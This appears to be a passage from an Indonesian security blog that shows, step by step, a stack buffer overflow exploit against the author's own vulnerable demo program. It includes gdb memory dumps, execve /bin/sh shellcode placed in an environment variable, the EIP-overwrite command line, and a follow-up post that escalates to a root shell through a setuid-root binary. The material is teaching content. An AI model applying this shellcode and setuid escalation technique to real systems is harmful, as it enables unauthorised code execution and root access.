350xbffff965:  ":*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.ogm=01;35:*.mp4=01;35:*.m4"...
360xbffffa2d:  "v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*."...
370xbffffaf5:  "yuv=01;35:*.cgm=01;35:*.emf=01;35:*.axv=01;35:*.anx=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;3"...
380xbffffbbd:  "6:*.wav=00;36:*.axa=00;36:*.oga=00;36:*.spx=00;36:*.xspf=00;36:"
390xbffffbfd:  "SSH_AUTH_SOCK=/tmp/keyring-FMmlCA/ssh"
400xbffffc23:  "USERNAME=inan"
410xbffffc31:  "SESSION_MANAGER=local/ubuntu:@/tmp/.ICE-unix/1327,unix/ubuntu:/tmp/.ICE-unix/1327"
420xbffffc83:  "DEFAULTS_PATH=/usr/share/gconf/gnome.default.path"
430xbffffcb5:  "COLUMNS=80"
440xbffffcc0:  "XDG_CONFIG_DIRS=/etc/xdg/xdg-gnome:/etc/xdg"
45---Type  to continue, or q  to quit---
460xbffffcec:  "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games"
470xbffffd39:  "DESKTOP_SESSION=gnome"
480xbffffd4f:  "_=/usr/bin/gdb"
490xbffffd5e:  "PWD=/home/inan/Desktop/bof/demo"
500xbffffd7e:  "GDM_KEYBOARD_LAYOUT=us"
510xbffffd95:  "GNOME_KEYRING_PID=1308"
520xbffffdac:  "LANG=en_US.utf8"
530xbffffdbc:  "GDM_LANG=en_US.utf8"
540xbffffdd0:  "MANDATORY_PATH=/usr/share/gconf/gnome.mandatory.path"
550xbffffe05:  "LINES=24"
560xbffffe0e:  "GDMSESSION=gnome"
570xbffffe1f:  "SC=1\300\061\333\061\311\061\322Ph//shh/bin\211\343PS\211\341\061?\v?"
580xbffffe42:  "HOME=/home/inan"
590xbffffe52:  "SHLVL=1"
600xbffffe5a:  "GNOME_DESKTOP_SESSION_ID=this-is-deprecated"
610xbffffe86:  "LOGNAME=inan"
620xbffffe93:  "DBUS_SESSION_BUS_ADDRESS=unix:abstract=/tmp/dbus-8Ey3roEp7D,guid=1bbb37e35c3cfc5e3669391000000061"
630xbffffef5:  "XDG_DATA_DIRS=/usr/share/gnome:/usr/local/share/:/usr/share/"
640xbfffff32:  "LESSOPEN=| /usr/bin/lesspipe %s"
650xbfffff52:  "WINDOWPATH=7"
66---Type  to continue, or q  to quit---
670xbfffff5f:  "DISPLAY=:0.0"
680xbfffff6c:  "LESSCLOSE=/usr/bin/lesspipe %s %s"
690xbfffff8e:  "COLORTERM=gnome-terminal"
700xbfffffa7:  "XAUTHORITY=/var/run/gdm/auth-for-inan-16kobl/database"
710xbfffffdd:  "/home/inan/Desktop/bof/demo/S9"
720xbffffffc:  ""
730xbffffffd:  ""
740xbffffffe:  ""
750xbfffffff:  ""
76(gdb)
Lihat secara seksama gdb di atas. Ternyata variable SC terletak di alamat memori 0xbffffe1f. Sebenarnya yang dibutuhkan tentu isi variable SC yang tak lain adalah perintah ke processor untuk mengeksekusi /bin/bash. Jadi processor tidak butuh karakter “SC=” nya. Jadi, isi variable SC ada di alamat memori mana? Gampang saja, tinggal tambahin alamat basisnya 0xbffffe1f dengan 3 bytes (SC=). Sehingga alamat memorinya ada di 0xbffffe22 (0xbffffe1f + 0×3 = 0xbffffe22). Ini buktinya:
1(gdb) x/ 0xbffffe1f
20xbffffe1f:  "SC=1\300\061\333\061\311\061\322Ph//shh/bin\211\343PS\211\341\061?\v?"
3(gdb) x/ 0xbffffe20
40xbffffe20:  "C=1\300\061\333\061\311\061\322Ph//shh/bin\211\343PS\211\341\061?\v?"
5(gdb) x/ 0xbffffe21
60xbffffe21:  "=1\300\061\333\061\311\061\322Ph//shh/bin\211\343PS\211\341\061?\v?"
7(gdb) x/ 0xbffffe22
80xbffffe22:  "1\300\061\333\061\311\061\322Ph//shh/bin\211\343PS\211\341\061?\v?"
9(gdb)
Ya, itulah target memori pasti kita.. ada di 0xbffffe22!! Mari coba sekali lagi gdb, mestinya kita bisa mendapatkan shell jika kita tepat memasukkan alamat tersebut ke EIP.
01(gdb) run abcdefghijklmno$(perl -e 'print "\x22\xfe\xff\xbf";')
02Starting program: /home/inan/Desktop/bof/demo/S9 abcdefghijklmno$(perl -e 'print "\x22\xfe\xff\xbf";')
03[ATURAN] buffer B hanya bisa menampung 3 bytes data
04[BEFORE] ini buffer A masukan anda: abcdefghijklmno"???
05[BEFORE] ini buffer B sekarang:
06[PROCESSING...] menyalin isi buffer A ke buffer B
07[AFTER] ini isi buffer A: abcdefghijklmno"???
08[AFTER] ini isi buffer B: abcdefghijklmno"???
09process 2051 is executing new program: /bin/dash
10$ whoami
11inan
12$ uname
13Linux
14$ id
15uid=1000(inan) gid=1000(inan) groups=1000(inan),4(adm),20(dialout),24(cdrom),46(plugdev),111(lpadmin),119(admin),122(sambashare)
16$ pwd
17/home/inan/Desktop/bof/demo
18$ #pwn'ed!!
19$
Mari lihat runtutan cerita di atas ini dengan seksama. Seperti kita ketahui, bagi program S9 kita ini, untuk tepat menimpa register EIP adalah dengan memasukkan karakter pada buffer ke-16, 17, 18, dan 19 (“abcdefghijklmnoXXXX“). Sehingga yang akan kita lakukan adalah memasukkan karakter \xbf, \xff, \xfe, dan \x22 ke EIP sehingga EIP terisi 0xbffffe22 yang mana itu telah berisi shellcode perintah prosesor mengeksekusi /bin/sh.
1(gdb) run abcdefghijklmno$(perl -e 'print "\x22\xfe\xff\xbf";')
Untuk memasukkan 0xbffffe22 ke EIP adalah seperti pada baris di atas itu. Saya menggunakan bantuan program perl untuk membantu print karakter hexa \x22 \xfe \xff \xbf ke dalam rangkaian inputan. Kalo diperhatikan, urutannya kebalik yah? Lagi-lagi karena sistem prosesor saya (Intel/AMD family) menganut paham little endian hahahah. Pada akhirnya EIP tertimpa dengan 0xbffffe22 dan return program bukan kembali ke main function program tetapi malah memanggil shell. Shell spawned.
Baca Selengkapnya →

buffer overflow dan root shell

0 comments
Dengan teknik buffer overflow bisa terjadi efek domino atau efek lanjutan yang bisa jauh lebih berbahaya.  telah dijelaskan bagaimana cara memanfaatkan vulnerability sebuah program dan pada akhirnya bisa menghasilkan sebuah shell. Pada posting kali ini akan dijelaskan salah satu spot menarik untuk kita mendapatkan shell root, bukan sekedar shell user dengan privilege terbatas.
SETUID adalah salah satu flag di file system Linux yang tujuannya untuk menge-set user ID sesuai dengan pemilik file ketika file akan di eksekusi. SETUID octal value adalah 04000. Jadi kalau mau setting SETUID pada file “hehe.txt” untuk read,write,exec oleh user bersangkutan dan read,exec oleh group user bersangkutan + others adalah dengan command “chmod 4755 hehe.txt”.
Langsung saja tidak pake basa-basi lagi, ini adalah program vulnerable kita yang dieksekusi dengan argumen khusus yang telah diracik sehingga hasilnya adalah sebuah shell…
Pertama status pemilik file executable “S9″ nya adalah user “inan”. Program dieksekusi dari user “inan”. Bagi yang bingung, file “S9″ itu adalah binary program yang telah saya buat (ada di postingan ).
01inan@ubuntu:~/Desktop/bof/demo$ ls -l
02total 16
03-rwsr-xr-x 1 inan users 7231 2011-12-20 07:06 S9
04-rwxr-xr-x 1 inan users   31 2011-12-21 06:24 shellcode.bin
05-rw-r--r-- 1 inan users  125 2011-12-18 04:12 shellcode.txt
06inan@ubuntu:~/Desktop/bof/demo$ ./S9 abcdefghijklmno$(perl -e 'print "\x22\xfe\xff\xbf";')
07[ATURAN] buffer B hanya bisa menampung 3 bytes data
08[BEFORE] ini buffer A masukan anda: abcdefghijklmno"???
09[BEFORE] ini buffer B sekarang:
10[PROCESSING...] menyalin isi buffer A ke buffer B
11[AFTER] ini isi buffer A: abcdefghijklmno"???
12[AFTER] ini isi buffer B: abcdefghijklmno"???
13$ whoami
14inan
15$ exit
16inan@ubuntu:~/Desktop/bof/demo$
Kedua status pemiliknya (ceritanya diganti…) file “S9″ milik user “bombom”. Sebagai catatan, file ini dieksekusi oleh user “inan”.
1root@ubuntu:/home/inan/Desktop/bof/demo# chown bombom:users S9
2root@ubuntu:/home/inan/Desktop/bof/demo# chmod 4755 S9
01inan@ubuntu:~/Desktop/bof/demo$ ls -l
02total 16
03-rwsr-xr-x 1 bombom users 7231 2011-12-20 07:06 S9
04-rwxr-xr-x 1 inan   users   31 2011-12-21 06:24 shellcode.bin
05-rw-r--r-- 1 inan   users  125 2011-12-18 04:12 shellcode.txt
06inan@ubuntu:~/Desktop/bof/demo$ ./S9 abcdefghijklmno$(perl -e 'print "\x22\xfe\xff\xbf";')
07[ATURAN] buffer B hanya bisa menampung 3 bytes data
08[BEFORE] ini buffer A masukan anda: abcdefghijklmno"???
09[BEFORE] ini buffer B sekarang:
10[PROCESSING...] menyalin isi buffer A ke buffer B
11[AFTER] ini isi buffer A: abcdefghijklmno"???
12[AFTER] ini isi buffer B: abcdefghijklmno"???
13$ whoami
14bombom
15$ exit
16inan@ubuntu:~/Desktop/bof/demo$
Ketiga status pemiliknya (ceritanya diganti…) file “S9″ adalah milik “root”. File ini dieksekusi dari user “inan”.
1root@ubuntu:/home/inan/Desktop/bof/demo# chown root:root S9
2root@ubuntu:/home/inan/Desktop/bof/demo# chmod 4755 S9
01inan@ubuntu:~/Desktop/bof/demo$ ls -l
02total 16
03-rwsr-xr-x 1 root root  7231 2011-12-20 07:06 S9
04-rwxr-xr-x 1 inan users   31 2011-12-21 06:24 shellcode.bin
05-rw-r--r-- 1 inan users  125 2011-12-18 04:12 shellcode.txt
06inan@ubuntu:~/Desktop/bof/demo$ ./S9 abcdefghijklmno$(perl -e 'print "\x22\xfe\xff\xbf";')
07[ATURAN] buffer B hanya bisa menampung 3 bytes data
08[BEFORE] ini buffer A masukan anda: abcdefghijklmno"???
09[BEFORE] ini buffer B sekarang:
10[PROCESSING...] menyalin isi buffer A ke buffer B
11[AFTER] ini isi buffer A: abcdefghijklmno"???
12[AFTER] ini isi buffer B: abcdefghijklmno"???
13# whoami
14root
15# id
16uid=1000(inan) gid=1000(inan) euid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),46(plugdev),111(lpadmin),119(admin),122(sambashare),1000(inan)
17#
Dengan memanfaatkan program yang pemiliknya adalah root dan menggunakan flag SETUID, kita bisa cari bugsnya dan manfaatin file itu untuk gaining root shell. Kini, file “S9″ bisa disebut sebuah rootkit hahahak.. ;p
Baca Selengkapnya →